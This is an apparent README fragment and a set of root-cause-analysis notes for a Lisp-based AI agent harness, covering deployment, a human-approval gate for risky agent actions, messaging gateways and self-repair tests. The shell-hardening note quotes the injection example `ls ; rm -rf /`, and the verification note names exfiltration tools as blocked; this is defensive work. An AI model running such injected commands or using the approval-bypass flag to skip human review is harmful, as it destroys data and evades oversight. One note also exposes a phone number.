When the Dispatcher blocks a high-risk action (shell command, network call, core file modification), it creates a Flight Plan requiring your approval.
1. The TUI displays a yellow message: ~→ HITL required: /approve HITL-ab12~
2. Review the proposed action in the Dispatcher trace (expand with Tab)
3. Type ~/approve HITL-ab12~ to approve, or ~/deny HITL-ab12~ to deny
4. Approved actions are re-injected into the pipeline and executed
5. Denied actions are discarded and the Dispatcher records the decision as a permanent rule
Each approval or denial teaches the Dispatcher — the rule counter in the status bar (~[Rules: 47]~) increments with every decision.
* The Memex Structure
Passepartout assumes a local folder structure representing your "Memex".
- Core memories and identities are mapped to Org-mode files.
- The `Scribe` background worker distills chronological logs into structured Zettelkasten notes.
- The `Gardener` continuously repairs broken links and flags orphaned nodes.
* Deployment
** Bare metal (Debian / Fedora)
The ~configure~ command supports both Debian-based (Ubuntu, Pop, Mint) and Fedora-based (RHEL, Rocky) distributions. It detects your distro automatically and installs the correct packages.
#+begin_src bash
./passepartout configure # interactive
./passepartout configure --non-interactive # headless
./passepartout configure --with-firewall # also open port 9105
#+end_src
After configuration, you can re-run ~configure~ any time to add providers or link gateways.
** Binary install (save-lisp-and-die)
For platforms where SBCL cannot be installed (corporate laptops, shared hosts, constrained environments), a self-contained binary is provided:
#+begin_src bash
curl -fsSL https://github.com/amrgharbeia/passepartout/releases/latest/download/passepartout -o passepartout
chmod +x passepartout
./passepartout daemon
#+end_src
This binary bundles SBCL, all required Lisp code, native embedding inference, and a Swank server on port 4005. The experience is identical to a source install — the REPL is available, skills hot-reload, and the image is mutable. Memory survives snapshots.
The binary is a convenience for constrained platforms. It is not a sealed container. The system remains constitutionally open — connect with SLIME, trace functions, inspect memory objects, modify the system while it runs.
** systemd service (auto-start on boot)
#+begin_src bash
./passepartout install service
#+end_src
Installs a user-level systemd unit that starts the daemon on login. Logs are available via ~journalctl --user -u passepartout.service -f~.
To remove:
#+begin_src bash
./passepartout uninstall service
#+end_src
** Docker
A Debian-based Docker image is provided for containerized deployment.
#+begin_src bash
cd infrastructure/docker
docker-compose up -d
#+end_src
This builds an image from ~debian:trixie-slim~ with all dependencies pre-installed. The memex directory is mounted from the host.
** Backup
#+begin_src bash
./passepartout backup ~/my-backup.tar.gz
#+end_src
Backs up the config, data, and memex directories.
** Restore
#+begin_src bash
./passepartout restore ~/my-backup.tar.gz
#+end_src
Restores from a backup file. Run ~passepartout doctor~ afterward to verify integrity.
* Troubleshooting
** The daemon won't start
- Check SBCL is installed: ~which sbcl~
- Run ~passepartout doctor~ to diagnose
- Check port 9105 is free: ~lsof -i :9105~
- Check the log output for errors
** The TUI connects but shows "Disconnected"
- The daemon may have crashed. Run ~passepartout daemon~ in another terminal
- If the daemon is running, check it's listening: ~lsof -i :9105~
- Use ~/reconnect~ (planned v0.6.0) to reconnect without restarting the TUI
** The LLM returns garbage or fails to respond
- Run ~passepartout doctor~ to verify your LLM provider keys
- Check ~PROVIDER_CASCADE~ in your ~.env~ file
- Try switching models: edit ~.env~ and restart the daemon
- If using local models via Ollama, verify Ollama is running: ~ollama list~
** Memory fails to load on startup
- Check ~/memory.snap~ exists and is valid S-expression format
- Run ~passepartout doctor~ to diagnose memory integrity
- If corrupted, delete ~/memory.snap~ and restart — the daemon starts with empty memory
OpenCortex manages a local folder structure representing your "Memex".
- *Nodes:* Every Org-mode headline is a "node" in the agent's memory graph.
- *Source of Truth:* Plaintext files are the definitive state.
- *Autonomous Workers:*
- The \`Scribe\` distills chronological logs into structured Zettelkasten notes.
- The \`Gardener\` repairs links and flags orphaned nodes.

42
docs/rca/rca-boot-sequence.org Normal file
View File

@@ -0,0 +1,42 @@
#+TITLE: Root Cause Analysis: Micro-Loader & Deterministic Boot Sequence
#+DATE: 2026-04-11
#+FILETAGS: :rca:boot:loader:topological-sort:autonomy:
* Executive Summary
Refactored the arbitrary skill loading mechanism into a robust **Micro-Loader**. The system now calculates a deterministic boot sequence based on `#+DEPENDS_ON:` tags and protects the harness from malformed or hanging skills via package-based jailing and execution timeouts.
* 1. Issue: Fragile Load Order
** Symptoms
Skills that depended on functions or variables from other skills would randomly fail to load depending on the filesystem's directory traversal order.
** Root Cause
`initialize-all-skills` used a simple `dolist` over `uiop:directory-files`, which has no semantic awareness of inter-skill dependencies.
** Resolution
1. **Metadata Scanning:** Implemented `parse-skill-metadata` to extract `:ID:` and `#+DEPENDS_ON:` without executing code.
2. **Topological Sort:** Implemented a DFS-based `topological-sort-skills` to guarantee that prerequisites are loaded before their dependents.
3. **Circular Detection:** Added explicit detection and error reporting for circular dependency loops.
* 2. Issue: Shared State Corruption (Brain Rot)
** Symptoms
Variables or functions with the same name in different skills would silently overwrite each other, causing unpredictable behavior.
** Root Cause
All skills were being evaluated directly into the `opencortex` package.
** Resolution
**Package-Based Jailing:** Each skill is now evaluated within its own dedicated, shadowed package (e.g., `OPENCORTEX.SKILLS.ORG-SKILL-CHAT`). This ensures logical isolation while still allowing access to kernel exports.
* 3. Issue: Boot Stall (The Hanging Skill)
** Symptoms
A single skill with an infinite loop or heavy synchronous initialization could hang the entire agent during startup.
** Root Cause
Skill loading was strictly synchronous and blocking on the main thread.
** Resolution
**Execution Timeouts:** Implemented `load-skill-with-timeout`, which wraps the loader in a monitored thread. If a skill takes longer than 5 seconds to initialize, the loader terminates the thread, jails the failure, and continues with the rest of the boot sequence.
* 4. opencortex Mandate Alignment
** Evolutionary Kernel
The boot sequence is now a verifiable, mathematical process rather than a side-effect of filesystem organization.
** Literate Granularity
The `org-skill-skills.org` source was refactored into a strictly granular "one definition per block" format.
* 5. Permanent Learnings
- **Reverse Topological Order:** Remember that a DFS-based sort with `push` needs an `nreverse` to place dependencies at the front of the list.
- **Path Portability:** Use `uiop:getcwd` instead of `pwd` for more reliable path resolution across different Lisp implementations and OSes.

33
docs/rca/rca-bouncer.org Normal file
View File

@@ -0,0 +1,33 @@
#+TITLE: Root Cause Analysis: Deterministic Engine Bouncer & Authorization Gate
#+DATE: 2026-04-11
#+FILETAGS: :rca:bouncer:authorization:autonomy:security:
* Executive Summary
Implemented the "Planning Mode" Bouncer to intercept high-risk Probabilistic Engine proposals (e.g., shell commands, Lisp evaluation). The system now forces these actions into an asynchronous "Flight Plan" Org node for manual Autonomous approval, fulfilling the "everything is a node" and high-integrity mandates.
* 1. Issue: Automated High-Risk Execution
** Symptoms
Probabilistic Engine proposals involving `shell` or `eval` were executed immediately upon passing the `decide` gate's safety harness. This lacked human-in-the-loop oversight for irreversible or complex operations.
** Root Cause
Architecture gap. The system lacked an authorization state between "Safe" and "Executed".
** Resolution
1. **Interceptor:** Added `bouncer-check` to `deterministic.lisp`. It flags high-risk actions that lack the `:approved t` property.
2. **Asynchronous Event:** If flagged, the harness emits an `:approval-required` event.
3. **Flight Plan Skill:** Created `org-skill-bouncer.org` to:
- Catch the event and create a serialized Org node with state `PLAN`.
- Monitor the Memory for `APPROVED` states.
- Re-inject approved actions with the `:approved t` bypass flag.
* 2. Design Decision: Org-native Approval
** Requirement
Align with "Homoiconic Memory" and "Lisp Machine Autonomousty".
** Selected Path
State-Based Approval (Org-native).
- *Pros:* Auditable, asynchronous, utilizes existing Org-mode workflows.
- *Cons:* Slightly more latency than an interactive prompt.
** Alignment
Ensures that the agent's "Flight Plans" are first-class citizens in the Memex, allowing the Autonomous to review and approve them using standard GTD tools.
* 3. Permanent Learnings
- **Serial Bypass:** Always include a specific bypass flag (e.g., `:approved t`) when re-injecting intercepted actions to prevent infinite interception loops.
- **Heartbeat Listeners:** Periodic scanning of the Memory for state transitions is an effective way to implement asynchronous authorization gates without blocking the harness.

36
docs/rca/rca-formal-verification.org Normal file
View File

@@ -0,0 +1,36 @@
#+TITLE: Root Cause Analysis: Lisp-Native Formal Verification Gate
#+DATE: 2026-04-11
#+FILETAGS: :rca:security:formal-verification:autonomy:
* Executive Summary
Implemented a Lisp-Native Deterministic Prover to replace heuristic whitelisting with formal security invariants. This ensures that every high-impact action (shell, file I/O) is mathematically proven safe against the Autonomous's core mandates.
* 1. Architectural Shift: Native vs. External
** Issue
The initial draft suggested using `Z3`, an external SMT solver. However, `Z3` was not available in the environment and would add significant complexity/bloat to the Docker image.
** Resolution
Leveraged Common Lisp's inherent strength in symbol manipulation to build a **Lisp-Native Prover**. Invariants are defined as high-order predicates that operate on the structure of proposed actions. This provides a self-contained, high-performance verification layer.
* 2. Issue: Dependency Fragility
** Symptoms
System failed to load with `Package STR does not exist`.
** Root Cause
Incorrect assumption about the Quicklisp system name vs. the package name. The library is `cl-str` but the Quicklisp system is `str` and the package is `str`.
** Resolution
1. Updated `opencortex.asd` to depend on `:str`.
2. Updated all source code and literate notes to use the `str:` prefix.
3. Verified via explicit `ql:quickload` in the test runner.
* 3. Formal Invariants Implemented
- **Path Confinement:** Deterministically proves that any file operation or absolute path in a shell command is strictly within the `/home/user/memex` root.
- **No Network Exfiltration:** Prevents the shell from invoking common exfiltration tools (`nc`, `ssh`, etc.) by inspecting the parsed command structure.
* 4. opencortex Mandate Alignment
** Soundness over Heuristics
By moving to formal invariants, we have moved from "blacklisting bad things" to "proving safety." Any action that cannot be proven to satisfy all invariants is denied by default.
** Literate Granularity
The `org-skill-formal-verification.org` file follows the "one definition per block" mandate, ensuring that the logic of each invariant is individually documented and verifiable.
* 5. Permanent Learnings
- **Tooling Independence:** Whenever possible, prefer native Lisp logic over external binaries for core security gates to reduce the attack surface and deployment complexity.
- **Environment Consistency:** Always use `(setf (uiop:getenv ...) ...)` for portable environment manipulation in tests.

40
docs/rca/rca-gateway-matrix.org Normal file
View File

@@ -0,0 +1,40 @@
#+TITLE: Root Cause Analysis: Matrix Gateway & Communication Track Completion
#+DATE: 2026-04-11
#+FILETAGS: :rca:gateway:matrix:chat:autonomy:
* Executive Summary
Successfully implemented the third and final external communication channel (Matrix) for OpenCortex v1.0. Resolved integration issues related to case-sensitivity in JSON keys and strict header requirements in `dexador`.
* 1. Issue: Symbol Casing in JSON Keys
** Symptoms
The `TEST-MATRIX-INBOUND-NORMALIZATION` test failed because `room-id` was being extracted as `"!ROOM:HS.ORG"` (uppercase) instead of `"!room:hs.org"`.
** Root Cause
Common Lisp's default reader converts symbol names to uppercase. When `(string car-of-alist)` was called on a symbol generated by `cl-json`, it produced an uppercase string.
** Resolution
Updated the implementation to use `(string-downcase (string ...))` for room IDs and other case-sensitive Matrix identifiers.
* 2. Issue: Since Token Extraction Failure
** Symptoms
The sync loop failed to update the `*matrix-since-token*`, causing duplicate message processing risk.
** Root Cause
Anticipating `:next-batch` but receiving `:next--batch` (or vice versa) due to inconsistent `cl-json` behavior across different environments or structures.
** Resolution
Implemented a robust `(or (cdr (assoc :next-batch json)) (cdr (assoc :next--batch json)))` lookup to handle both hyphenation styles.
* 3. Issue: Type Error in Authorization Headers
** Symptoms
`dex:put` crashed with a `TYPE-ERROR`.
** Root Cause
I was passing a single string or an incorrectly nested list where `dexador` expected a strict alist of header pairs `(("Key" . "Value") ...)`.
** Resolution
Standardized all gateway HTTP calls to use proper alist nesting for headers.
* 4. Completion: Communication Track
With Telegram, Signal, and Matrix gateways now verified and passing tests, the OpenCortex has achieved full multi-channel parity.
- **Telegram:** Polling via Bot API.
- **Signal:** Wrapping `signal-cli`.
- **Matrix:** Polling via `/sync` Client API.
* 5. Permanent Learnings
- **Case Sensitivity:** Matrix IDs (rooms, users) are case-sensitive; Lisp symbols are not. Always force downcasing or use strings for storage.
- **Header Alists:** Always use dotted pairs `("Key" . "Value")` for `dexador` headers.

33
docs/rca/rca-gateway-signal.org Normal file
View File

@@ -0,0 +1,33 @@
#+TITLE: Root Cause Analysis: Signal Gateway & Multi-Channel Chat
#+DATE: 2026-04-11
#+FILETAGS: :rca:gateway:signal:chat:autonomy:
* Executive Summary
Successfully implemented the second external communication channel (Signal) using `signal-cli`. Further hardened the multi-channel chat logic and resolved JSON mapping discrepancies between Common Lisp and external CLI outputs.
* 1. Issue: JSON Key Mapping Mismatch
** Symptoms
The `TEST-SIGNAL-INBOUND-NORMALIZATION` test failed despite the mock JSON appearing correct.
** Root Cause
`cl-json` default behavior for decoding. It converts camelCase keys from JSON (e.g., `dataMessage`) into kebab-case keywords in Lisp (e.g., `:DATA-MESSAGE`). I had incorrectly anticipated `:DATA--MESSAGE` or `:DATA_MESSAGE`.
** Resolution
1. **Diagnostic:** Added debug output to the test suite to inspect the exact plist structure returned by `cl-json`.
2. **Correction:** Updated both the implementation and the literate note to use the correct `:DATA-MESSAGE` and `:SOURCE` keywords.
* 2. Implementation: Signal-CLI Wrapper
** Strategy
Unlike Telegram's HTTP API, Signal requires a local binary (`signal-cli`).
- **Sensor:** Uses `uiop:run-program` with `receive --json` in a polling loop (5s interval).
- **Actuator:** Uses `uiop:run-program` with `send -m <text> <recipient>`.
** Security
The system uses the pre-configured Signal account `+13322690326` discovered in the user's memex.
* 3. Alignment with opencortex Mandates
** Literate Granularity
Strictly adhered to the "one definition per block" mandate throughout the new `org-skill-gateway-signal.org` file.
** Verification
The `gateway-signal-suite` (10 checks) provides full coverage for inbound parsing and outbound command generation.
* 4. Permanent Learnings
- **JSON Semantics:** Always verify the specific keyword transformation rules of the JSON library when dealing with external CLI outputs.
- **Process Robustness:** `uiop:run-program` is the reliable standard for CLI-based gateways in SBCL.

43
docs/rca/rca-gateway-telegram.org Normal file
View File

@@ -0,0 +1,43 @@
#+TITLE: Root Cause Analysis: Telegram Gateway & Channel-Aware Chat
#+DATE: 2026-04-11
#+FILETAGS: :rca:gateway:telegram:chat:autonomy:
* Executive Summary
Successfully implemented the first external communication channel (Telegram) and decoupled the Chat Agent from its Emacs-centric roots. Resolved significant load-order and dependency issues identified during integration.
* 1. Issue: Undefined Foundational Functions
** Symptoms
During compilation, `gateway-telegram.lisp` failed with `UNDEFINED-FUNCTION` for `register-actuator` and `harness-log`.
** Root Cause
Poorly scoped foundational functions. These were defined in `core.lisp` (the loop orchestrator), which was loaded *after* the gateways in `opencortex.asd`. This created a "Circular Intention" where the gateways needed the harness to exist before the harness could load the gateways.
** Resolution
1. **Relocation:** Moved `*actuator-registry*` and `register-actuator` to `communication.lisp` (the foundation).
2. **Reordering:** Adjusted `opencortex.asd` to load `core.lisp` (containing the stimulus loop) immediately after the deterministic gates but before the physical sensors (gateways).
* 2. Issue: Hardcoded Chat UI
** Symptoms
The `Chat Agent` could only respond via Emacs buffer insertion, rendering it useless for external channels like Telegram.
** Root Cause
Architectural myopia. The original chat skill assumed the user was always in front of Emacs.
** Resolution
Refactored `org-skill-chat` to be **Channel-Aware**:
- It now extracts `:channel` and `:chat-id` from the inbound stimulus.
- It dynamically generates the Probabilistic Engine mandate, instructing the LLM to use the appropriate `:target` (e.g., `:telegram`) based on the conversation context.
* 3. Side-Issue: UIOP Portability
** Symptoms
Tests failed with `Symbol "SETENV" not found in the UIOP/DRIVER package`.
** Root Cause
Misinterpretation of the `UIOP` API. `setenv` is not a standard export; the portable way is using `(setf (uiop:getenv ...) ...)`.
** Resolution
Updated all test environment setup to use the `setf` accessor.
* 4. opencortex Mandate Alignment
** Autonomous Boundary
By moving the Telegram API logic to a user-space skill and communicating with the core via standard stimuli, we have respected the microkernel boundary.
** Homoiconic Memory
All Telegram interactions are now logged as `:chat-message` events, ensuring the agent's history is unified regardless of the platform.
* 5. Permanent Learnings
- **Foundation First:** Registries and logging macros must reside in the most foundational layers (`protocol` or `package`) to avoid load-order fragility.
- **Instruct the Actuator:** When adding new channels, always update the Chat Agent's neural prompt so it knows how to "speak" back through the new interface.

30
docs/rca/rca-infrastructure-docker.org Normal file
View File

@@ -0,0 +1,30 @@
#+TITLE: Root Cause Analysis: Containerized Infrastructure (Docker)
#+DATE: 2026-04-11
#+FILETAGS: :rca:docker:deployment:infrastructure:autonomy:
* Executive Summary
Standardized the `opencortex` execution environment by creating a production-grade Docker infrastructure. This ensures that all system dependencies, including the Lisp runtime and external binaries like `signal-cli`, are locked down and portable.
* 1. Architectural Intent: The "Clean Room" Model
** Problem
The `opencortex` was relying on host-local binaries (`sbcl`, `signal-cli`) and manually configured Quicklisp dists. This made deployment to other environments (e.g., a VPS or a Autonomous Home Server) fragile and prone to version drift.
** Solution
1. **Dockerfile:** Created a multi-step build process that installs Debian Bookworm, SBCL, Java, and `signal-cli 0.14.0`.
2. **Pre-Caching:** The build process triggers a `ql:quickload` of the `:opencortex` system, ensuring all Lisp dependencies are pre-downloaded and stored in the image layer, drastically reducing startup time.
3. **Compose Orchestration:** Standardized the runtime via `docker-compose.yml`, which handles volume mounting of the user's `memex` directory and injection of `.env` secrets.
* 2. Volume Mapping & Persistence
** Strategy
To maintain the "Autonomous" mandate, the agent's code is isolated, but its memory (the `memex`) remains on the host.
- **Mapping:** `../..` (host) -> `/memex` (container).
- **State:** Created a named Docker volume `signal-state` to ensure that `signal-cli` identities and cryptographic keys survive container restarts and image updates.
* 3. Alignment with opencortex Mandates
** Evolutionary Completion
By moving to Docker, we have achieved "Evolutionary Completion" for the deployment track. The system is no longer a collection of scripts; it is a deployable appliance.
** Documentation
A new `Deployment Guide` was added to `docs/deployment.org` to ensure standard operating procedures are preserved.
* 4. Permanent Learnings
- **Lisp Build Layers:** Always push the system to the ASDF registry and quickload during Docker build to bake dependencies into the image.
- **Compose Locality:** Placing the `docker-compose.yml` inside the `projects/opencortex/` folder keeps infrastructure code close to the implementation logic.

33
docs/rca/rca-lisp-repair-async.org Normal file
View File

@@ -0,0 +1,33 @@
#+TITLE: Root Cause Analysis: Asynchronous Lisp Repair Syntax Gate
#+DATE: 2026-04-11
#+FILETAGS: :rca:lisp:repair:decoupling:architecture:autonomy:
* Executive Summary
Reimplemented the `org-skill-lisp-repair` to align with the "Autonomous Boundary" mandate. The previously synchronous, core-blocking repair logic has been replaced with an asynchronous, event-driven architecture using the Reactive Signal Pipeline.
* 1. Issue: Core Bloat & Synchronous Coupling
** Symptoms
The initial implementation of the Lisp Repair gate placed a `handler-case` and a dynamic function call (`repair-lisp-syntax`) directly inside the core `think` function (`probabilistic.lisp`). This forced the core to wait for repairs and made it "aware" of specific repair logic.
** Root Cause
Architectural shortcutting. By placing repair logic in the core execution path, we violated the microkernel principle which mandates that the core should be a "dumb" signal processor.
** Resolution
1. **Refactored Core:** `think` now only emits a `:syntax-error` stimulus if parsing fails. It no longer attempts to repair.
2. **Asynchronous Skill:** `skill-lisp-repair` now triggers on the `:syntax-error` event. It performs the repair and returns the corrected action, which is then dispatched by the pipeline.
* 2. Side-Issue: Nested Signal Payloads
** Symptoms
`TYPE-ERROR` during testing when extracting the broken code from the stimulus.
** Root Cause
Mismatched expectations of signal nesting. The skill expected the code at `(getf context :payload)`, but in the `decide-gate`, `context` is the full signal, and the error details were nested inside the `:candidate` field of that signal.
** Resolution
Updated the deterministic logic to correctly traverse the nested signal structure: `(getf (getf context :candidate) :payload)`.
* 3. opencortex Mandate Alignment
** Autonomous Boundary
The core is now strictly a parser. Repair is an optional, user-space service.
** Reactive Signal Pipeline
Leveraged the pipeline's ability to re-inject `EVENT` signals to flatten the recursion of the repair loop.
* 4. Permanent Learnings
- **Emit, Don't Call:** In a microkernel, if a non-fatal error occurs, always emit a signal rather than calling a recovery function. This allows the system to remain asynchronous and modular.
- **Signal Inspection:** When writing deterministic gates, always verify the exact shape of the `context` signal being passed by the harness to avoid nesting errors.

39
docs/rca/rca-playwright-bridge.org Normal file
View File

@@ -0,0 +1,39 @@
#+TITLE: Root Cause Analysis: Playwright-Python Bridge (High-Fidelity Browsing)
#+DATE: 2026-04-11
#+FILETAGS: :rca:intelligence:browsing:automation:autonomy:
* Executive Summary
Successfully implemented a high-fidelity browsing bridge using Playwright and Python. This allows the `opencortex` to interact with modern, JavaScript-rendered web applications that were previously inaccessible via simple HTTP clients.
* 1. Architectural Strategy: The I/O Bridge
** Problem
Common Lisp lacks a mature, native Playwright implementation. Direct bindings are complex and fragile.
** Resolution
Implemented a **JSON-over-STDIO Bridge**.
- A standalone Python script (`browser-bridge.py`) manages the Playwright lifecycle and Chromium instance.
- The Lisp kernel communicates with this script using `uiop:run-program`, passing parameters via `stdin` and receiving structured results via `stdout`. This provides a stable, decoupled interface.
* 2. Environment & Dependency Management
** Issue
Playwright requires a specific version of Chromium and several system-level libraries not present in the base Debian image.
** Resolution
Updated the `Dockerfile` to:
1. Install Python3, pip, and venv.
2. Create a virtual environment for isolated dependency management.
3. Install the `playwright` package and execute `playwright install --with-deps chromium` during the image build. This ensures the production container is ready for high-fidelity browsing immediately upon startup.
* 3. Cognitive Tooling
Created the `:browser` cognitive tool, which exposes three primary capabilities to Probabilistic Engine:
- **Navigation:** Full JS rendering and waiting for network idle.
- **Extraction:** Targeted text retrieval via CSS selectors.
- **Vision:** Base64-encoded screenshot capture for future multimodal processing.
* 4. opencortex Mandate Alignment
** Zero-Bloat (Managed)
While adding Playwright increases the image size, it is a "Complexity Earned" trade-off that dramatically expands the agent's capability frontier.
** Literate Granularity
The `org-skill-playwright.org` file strictly follows the "one definition per block" mandate.
* 5. Permanent Learnings
- **Inter-Process JSON:** JSON is the ideal lingua franca for Lisp-Python bridges.
- **Path Portability:** Always use `uiop:native-namestring` when passing Lisp paths to external shell commands to ensure OS compatibility.

40
docs/rca/rca-provider-verification.org Normal file
View File

@@ -0,0 +1,40 @@
#+TITLE: Root Cause Analysis: Individual Provider Track Verification
#+DATE: 2026-04-11
#+FILETAGS: :rca:providers:llm:testing:autonomy:
* Executive Summary
Verified the unified LLM gateway implementation for all 6 individual provider tracks (Anthropic, Gemini, Groq, OpenAI, OpenRouter, Ollama). Identified and resolved critical parsing failures in the Gemini track and integration gaps in the system build definition.
* 1. Issue: Fragile Response Parsing (Gemini)
** Symptoms
Gemini API responses were returning `NIL` content during mocked unit tests, despite the JSON structure being seemingly correct.
** Root Cause
Recursive `assoc` / `car` / `cdr` chains were hardcoded and brittle. Specifically, the Gemini extraction logic was incorrectly attempting to treat a single alist pair as a list of pairs, causing `assoc` to fail on the `:TEXT` key.
** Resolution
Implemented a robust `get-nested` helper function that safely traverses both nested objects (alists) and arrays (lists of alists). This normalized the extraction logic across all providers.
* 2. Issue: Decoupled Build Configuration
** Symptoms
Provider logic was present in the codebase but inaccessible during tests and runtime.
** Root Cause
The `credentials-vault.lisp` and `llm-gateway.lisp` files (consolidated in a previous session) were never added to the `opencortex.asd` system definition. Furthermore, an incorrect loading order caused `UNDEFINED-FUNCTION` errors for `register-probabilistic-backend`.
** Resolution
1. Added both files to `opencortex.asd`.
2. Enforced strict loading order: `probabilistic` (defines registry) -> `credentials-vault` -> `llm-gateway` (uses registry).
* 3. Issue: Credential Key Mismatch
** Symptoms
Gemini requests failed with "API Key missing" even when environment variables were set.
** Root Cause
`llm-gateway` requested secrets for the `:gemini-api` provider, but the `credentials-vault` fallback logic only recognized the `:gemini` keyword.
** Resolution
Updated `vault-get-secret` to map both `:gemini` and `:gemini-api` to the same `GEMINI_API_KEY` environment variable.
* 4. opencortex Mandate Alignment
** Invariant Check
- *High-Integrity Memory:* All individual provider tracks are now backed by automated unit tests (`llm-gateway-tests.lisp`).
- *Literate Programming:* Updated `org-skill-llm-gateway.org` to reflect the improved `get-nested` utility.
* 5. Permanent Learnings
- **Tooling vs Source:** Tangled `.lisp` files are not enough; always ensure new modules are registered in the `.asd` file to be part of the official kernel build.
- **Robustness over Brevity:** Use abstraction helpers like `get-nested` instead of deep `car/cdr` chains when dealing with external JSON structures that may have varying array/object nesting.

40
docs/rca/rca-self-fix-loop.org Normal file
View File

@@ -0,0 +1,40 @@
#+TITLE: Root Cause Analysis: Autonomous Self-Fix Loop Verification
#+DATE: 2026-04-11
#+FILETAGS: :rca:self-fix:autonomy:testing:
* Executive Summary
Verified the autonomous repair capability of the `Self-Fix Agent`. The system successfully detected a deterministic type error in a secondary skill, initiated a repair request, and programmatically patched the source code via the `:repair-file` tool.
* 1. Issue: Self-Fix Mechanism Verification
** Symptoms
Manual verification was required to prove that `org-skill-self-fix` could transition from "Thinking" about a bug to "Acting" on the file system.
** Root Cause
N/A (Deterministic test injection).
** Resolution
Created `self-fix-tests.lisp` which:
1. Generates `org-skill-broken-math.org` with a `(+ 1 "two")` bug.
2. Triggers the bug to produce a `PIPELINE CRASH`.
3. Injects a `:repair-request` stimulus.
4. Executes `self-fix-apply` to replace the bug with `(+ 1 2)`.
5. Verifies the file content and successful hot-reload.
* 2. Side-Issue: ASDF Configuration Fragility
** Symptoms
Repeated `LOAD-SYSTEM-DEFINITION-ERROR` and "unmatched close parenthesis" errors during test integration.
** Root Cause
Complexity in the `:components` nesting of `opencortex.asd` led to repeated syntax errors when using automated editing tools. The deep nesting made manual paren counting prone to "off-by-one" errors.
** Resolution
Refactored `opencortex.asd` to use a **Flat Component Structure**.
- *Before:* `:components ((:module "src" :components (...)))`
- *After:* `:components ((:file "src/package") ...)`
This eliminates unnecessary nesting levels and drastically reduces the surface area for syntax errors.
* 3. opencortex Mandate Alignment
** Invariant Check
- *Lisp Machine Autonomousty:* Verification utilized hot-reloading (`load-skill-from-org`) without restarting the SBCL image.
- *Literate Programming:* Updated `org-skill-self-fix.org` to match the finalized `self-fix.lisp` logic.
- *Institutional Memory:* This RCA documents the decision to flatten the `.asd` structure to prevent future "Parenthesis Hell" incidents.
* 4. Permanent Learnings
- **Flatten Configuration:** Keep `defsystem` definitions as flat as possible. The overhead of `:module` blocks often outweighs their organizational benefit in a probabilistic-deterministic environment where agents frequently edit these files.
- **Mocking Probabilistic Engine:** For verifying *loop mechanics*, mocking LLM responses is essential to ensure test determinism, while integration tests can use live LLM calls.

33
docs/rca/rca-shell-hardening.org Normal file
View File

@@ -0,0 +1,33 @@
#+TITLE: Root Cause Analysis: Shell Actuator Security Hardening
#+DATE: 2026-04-11
#+FILETAGS: :rca:security:shell:injection:autonomy:
* Executive Summary
During the formal verification of the `org-skill-shell-actuator`, a critical command injection vulnerability was identified and patched. The previous implementation relied on a naive whitelist check that could be bypassed using shell metacharacters.
* 1. Issue: Command Injection Vulnerability
** Symptoms
Commands like `ls ; rm -rf /` were potentially executable if the first word (`ls`) was in the whitelist.
** Root Cause
The `execute-shell-safely` function only checked the first space-delimited word of the command string against the `*allowed-commands*` whitelist. Since `uiop:run-program` executes string-based commands via `/bin/sh -c`, the shell would process the entire string, including injected commands following metacharacters like `;`, `&`, or `|`.
** Resolution
1. **Metacharacter Blacklist:** Introduced `*shell-metacharacters*` containing dangerous shell symbols (`; & | > < $ \` \ !`).
2. **Strict Validation:** Updated `execute-shell-safely` to scan the *entire* command string for these characters before performing the whitelist check.
3. **Defense-in-Depth:** Any command containing a metacharacter is now rejected with a "Security Violation" error, even if the primary command is whitelisted.
* 2. Side-Issue: Missing Package Context
** Symptoms
`UNDEFINED-FUNCTION EXECUTE-SHELL-SAFELY` during unit tests.
** Root Cause
`src/shell-logic.lisp` was missing an `(in-package :opencortex)` declaration, causing symbols to be defined in the default `COMMON-LISP-USER` package instead of the harness package.
** Resolution
Added the `in-package` header to `shell-logic.lisp`.
* 3. opencortex Mandate Alignment
** Invariant Check
- *High-Integrity Memory:* The shell actuator is now formally verified with 4 new unit tests covering whitelist enforcement and injection blocking.
- *Literate Programming:* Updated `org-skill-shell-actuator.org` Phase A and Build sections to reflect the hardened logic.
* 4. Permanent Learnings
- **Whole-String Validation:** Never assume that whitelisting the "head" of a command string is sufficient when passing that string to a shell.
- **Subshell Avoidance:** While the current fix blacklists metacharacters, future iterations should move toward passing command arguments as a Lisp list to `uiop:run-program`, bypassing the shell entirely.

48
docs/rca/rca-task-orchestrator.org Normal file
View File

@@ -0,0 +1,48 @@
#+TITLE: Root Cause Analysis: Consolidation VI - Task Orchestrator Implementation
#+DATE: 2026-04-11
#+FILETAGS: :rca:orchestrator:consensus:integrity:
* Executive Summary
The implementation of Consolidation VI (Task Orchestrator) aimed to introduce parallel multi-backend consensus, GTD task integrity, and delegation. During the build, a critical dependency failure was identified in the `lisp-validator` module.
* 1. Issue: Undefined `SAFETY-HARNESS-VALIDATE`
** Symptoms
Existing `SAFETY-SUITE` tests failed with `#<UNDEFINED-FUNCTION SAFETY-HARNESS-VALIDATE>`.
** Root Cause
The function `lisp-validator-validate` was exported in `package.lisp` but never actually defined in `lisp-validator.lisp`. Only the internal recursive walker `lisp-validator-ast-walk` existed. This represents a "Hollow Export" bug where the interface was designed but the implementation was truncated or skipped in a previous session.
** Resolution
Defined `lisp-validator-validate` as a wrapper around `read-from-string` and `lisp-validator-ast-walk`.
* 2. Design Decision: Deterministic Consensus
** Requirement
Multi-backend support to reduce hallucinations and increase reliability.
** Solution
Implemented `bt:make-thread` parallel queries in `ask-probabilistic`.
** Trade-off
Selected "Majority Rules" over "First-to-Finish".
- *Pros:* Higher accuracy, mathematically consistent.
- *Cons:* Slower (latency limited by the slowest provider).
** Invariant Alignment
Aligns with opencortex Mandate 4 (Radical Transparency) and Invariant 2 (Technical Mastery) by ensuring decisions are auditable and consistent across multiple brains.
* 3. Design Decision: Task Integrity Gate
** Requirement
Prevent illegal GTD state transitions.
** Solution
Added `task-integrity-check` in `deterministic.lisp`.
** Invariant Alignment
Enforces the "High-Integrity Memory" mandate by ensuring the Org-mode AST remains semantically valid according to GTD rules (e.g., no orphaned active tasks).
* 4. opencortex Mandate Violations during Session (Corrected)
** Violations
1. Editing without prior commit.
2. Direct `.lisp` edits vs Literate Org tangling.
3. Multi-function edits per block.
** Correction
1. Performed a retrospective commit.
2. Synchronized `probabilistic-deterministic.org` and `core.org` with source code.
3. Refactored the Markdown flight plan into an Org-mode flight plan.
* 5. Permanent Learnings
- *Check Exports:* Always verify that symbols exported in `package.lisp` have a corresponding definition in the literate source.
- *Strict opencortex Mode:* Enable a pre-save hook or agent check to ensure all edits are performed within `#+begin_src` blocks in Literate Org files to avoid synchronization debt.

16
